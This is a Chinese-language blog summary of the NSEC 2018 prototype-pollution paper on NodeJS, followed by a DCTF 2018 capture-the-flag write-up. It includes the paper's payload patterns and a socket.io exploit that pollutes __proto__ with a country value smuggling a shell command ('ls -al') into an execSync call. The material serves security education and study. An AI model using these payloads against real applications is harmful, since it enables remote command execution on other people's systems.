导语:本篇paper来自于 NSEC 2018 :Prototype pollution attack in NodeJS application,写summary的原因因为本篇文章介绍的攻击点和实际问题密切相关,同时在CTF各大比赛中经常出现。
前言
本篇paper来自于 NSEC 2018 :Prototype pollution attack in NodeJS application,写summary的原因因为本篇文章介绍的攻击点和实际问题密切相关,同时在CTF各大比赛中经常出现。
背景知识
为了介绍什么是原型链污染漏洞,我们得先有一些前置知识,首先观察一段代码:
a={}; a.__proto__.test2 = '456'; b={}; console.log(a.test2); console.log(b.test2); b.__proto__.test2 = '789'; console.log(a.test2); console.log(b.test2);
我们定义一个a对象,并对其进行赋值:
a.__proto__.test2 = '456';
我们再定义一个b对象,但此时发现,如果我们输出:
console.log(a.test2); console.log(b.test2);
此时得到的结果是:
456 456
那么为什么b对象会有test2这个属性的value呢?
这是因为我们有等价关系:
a.__proto__ == Object.prototype
那么此时,如果我们调用b.test2,其因为获取不到,就会往父类中查找,因此找到了Object.prototype.test2。
因此我们调用b.test2,可以获取到456这个值。
我们再看一个简单的例子:
我们构造了类的继承关系:
在使用a.testA的时候:
1.在testC类里查找testA属性
2.在testC的父类里查找testA属性
3.在testC的"爷"类里查找testA属性
故此可以正常调用到testA属性。
对于testB、testC属性也是同理。
原型链污染漏洞
为了了解原型链污染漏洞,我们看如下代码:
假设我们控制evil.__proto__,那就等同于可以修改testClass类的prototype,那么即可篡改SecClass中的url属性值。
那么在后续所有调用该属性的位置,都会产生相应的影响。
漏洞评估
作者的数据集定于npm的所有库,但是由于代码量巨大,传统的静态分析并不适用,于是作者使用了动态测试方法,对受影响的库进行验证:
* 使用npm安装需要测试的库 * 将库引入文件 * 递归列举库中所有可调用的函数 * 对于每一个函数 * 对于每一个函数进行原型链污染测试input * 检验是否产生影响,若产生,则标注漏洞点,并清除影响
代码已开源在github:
https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/find-vuln/find-vuln.js
简单分析代码可知,作者首先申明了一个对象,对象中有属性名为:_proto_。
如果经过库中函数处理,该属性成为原型,那么说明出现了原型链污染问题:
作者列举了多种pattern:
var pattern = [{ fnct : function (totest) { totest(BAD_JSON); }, sig: "function (BAD_JSON)" },{ fnct : function (totest) { totest(BAD_JSON, {}); }, sig: "function (BAD_JSON, {})" },{ fnct : function (totest) { totest({}, BAD_JSON); }, sig: "function ({}, BAD_JSON)" },{ fnct : function (totest) { totest(BAD_JSON, BAD_JSON); }, sig: "function (BAD_JSON, BAD_JSON)" },{ fnct : function (totest) { totest({}, {}, BAD_JSON); }, sig: "function ({}, {}, BAD_JSON)" },{ fnct : function (totest) { totest({}, {}, {}, BAD_JSON); }, sig: "function ({}, {}, {}, BAD_JSON)" },{ fnct : function (totest) { totest({}, "__proto__.test", "123"); }, sig: "function ({}, BAD_PATH, VALUE)" },{ fnct : function (totest) { totest({}, "__proto__[test]", "123"); }, sig: "function ({}, BAD_PATH, VALUE)" },{ fnct : function (totest) { totest("__proto__.test", "123"); }, sig: "function (BAD_PATH, VALUE)" },{ fnct : function (totest) { totest("__proto__[test]", "123"); }, sig: "function (BAD_PATH, VALUE)" },{ fnct : function (totest) { totest({}, "__proto__", "test", "123"); }, sig: "function ({}, BAD_STRING, BAD_STRING, VALUE)" },{ fnct : function (totest) { totest("__proto__", "test", "123"); }, sig: "function (BAD_STRING, BAD_STRING, VALUE)" }]
然后对一个库中所有函数进行测试,再进行检测:
function check() { if ({}.test == "123" || {}.test == 123) { delete Object.prototype.test; return true; } return false; }
作者经过测试,得到了许多受原型链污染影响的库:
其中不乏我们经常在ctf中遇到的lodash……
而后,作者选取了几个典例进行分析。
拒绝服务攻击
例如代码中的第12行,存在漏洞点,其使用了lodash的merge,导致我们可以污染req对象,由于返回结果依赖于这个对象。那么如果攻击者input如下exp,每一条请求都将返回500:
For-loop污染
例如如下代码,我们可以进行原型污染,这样commands在下一次遍历时,就会遍历到我们加入的恶意值,进行任意命令执行。
Property injection
由于NodeJS的http模块拥有多个同名header,我们可以对cookie进行污染,那么request.headers.cookie将变为我们的污染值,那么每一个访问者都会共享同一个cookie:
CTF中的应用
看完了作者介绍的原型链污染攻击,我们来看一下其在CTF中的简单应用。
题目: https://chat.dctfq18.def.camp
源码:https://dctf.def.camp/dctf-18-quals-81249812/chat.zip
我们下载源码后,首先审计服务端代码:
看到在help.js中有如下高危代码:
getAscii: function(message) { var e = require('child_process'); return e.execSync("cowsay '" + message + "'").toString(); }
如果我们可控message,那么即可进行rce,例如:
于是在server.js中寻找调用点:
client.on('join', function(channel) { try { clientManager.joinChannel(client, channel); sendMessageToClient(client,"Server", "You joined channel", channel) var u = clientManager.getUsername(client); var c = clientManager.getCountry(client); sendMessageToChannel(channel,"Server", helper.getAscii("User " + u + " living in " + c + " joined channel")) } catch(e) { console.log(e); client.disconnect() } }); client.on('leave', function(channel) { try { client .join(channel); clientManager.leaveChannel(client, channel); sendMessageToClient(client,"Server", "You left channel", channel) var u = clientManager.getUsername(client); var c = clientManager.getCountry(client); sendMessageToChannel(channel, "Server", helper.getAscii("User " + u + " living in " + c + " left channel")) } catch(e) { console.log(e); client.disconnect() } });
可以发现在join和leave用相应的调用:
var u = clientManager.getUsername(client); var c = clientManager.getCountry(client); sendMessageToChannel(channel,"Server", helper.getAscii("User " + u + " living in " + c + " joined channel"))
那么如果可控u和c,那么即可进行命令拼接,而u对于name,c对应country,对于name参数:
validUser: function(inp) { var block = ["source","port","font","country", "location","status","lastname"]; if(typeof inp !== 'object') { return false; } var keys = Object.keys( inp); for(var i = 0; i< keys.length; i++) { key = keys[i]; if(block.indexOf(key) !== -1) { return false; } } var r =/^[a-z0-9]+$/gi; if(inp.name === undefined || !r.test(inp.name)) { return false; } return true; }
我们发现我们被进行了大量过滤,很难直接进行任意命令执行,于是我们开始思考如何改变country的值,那么便容易想到使用原型链污染,在父类对象中加入country属性的值,进行污染。
那么我们可以从register进行输入:
client.on('register', function(inUser) { try { newUser = helper.clone(JSON.parse(inUser)) if(!helper.validUser(newUser)) { sendMessageToClient(client,"Server", 'Invalid settings.') return client.disconnect(); } var keys = Object.keys(defaultSettings); for (var i = 0; i < keys.length; ++i) { if(newUser[keys[i]] === undefined) { newUser[keys[i]] = defaultSettings[keys[i]] } } if (!clientManager.isUserAvailable(newUser.name)) { sendMessageToClient(client,"Server", newUser.name + ' is not available') return client.disconnect(); } clientManager.registerClient(client, newUser) return sendMessageToClient(client,"Server", newUser.name + ' registered') } catch(e) { console.log(e); client.disconnect() } });
我们发现存在原型链污染漏洞点:
newUser = helper.clone(JSON.parse(inUser))
我们可以利用这里的clone,进行污染,达成目的。
构造如下exp:
const io = require('socket.io-client') const socket = io.connect('http://0.0.0.0:10000') socket.on('error', function (err) { console.log('received socket error:') console.log(err) }) socket.on('message', function(msg) { console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message); }); socket.emit('register', `{"name":"xxx", "__proto__":{"country":"xxx';ls -al;echo 'xxx"}}`); socket.emit('message', JSON.stringify({ msg: "hello" })); socket.emit('join', 'xxx');
后记
Prototype pollution attack还是一个比较有趣的攻击点,下次可以结合一些题目和CVE再做一些深入的了解。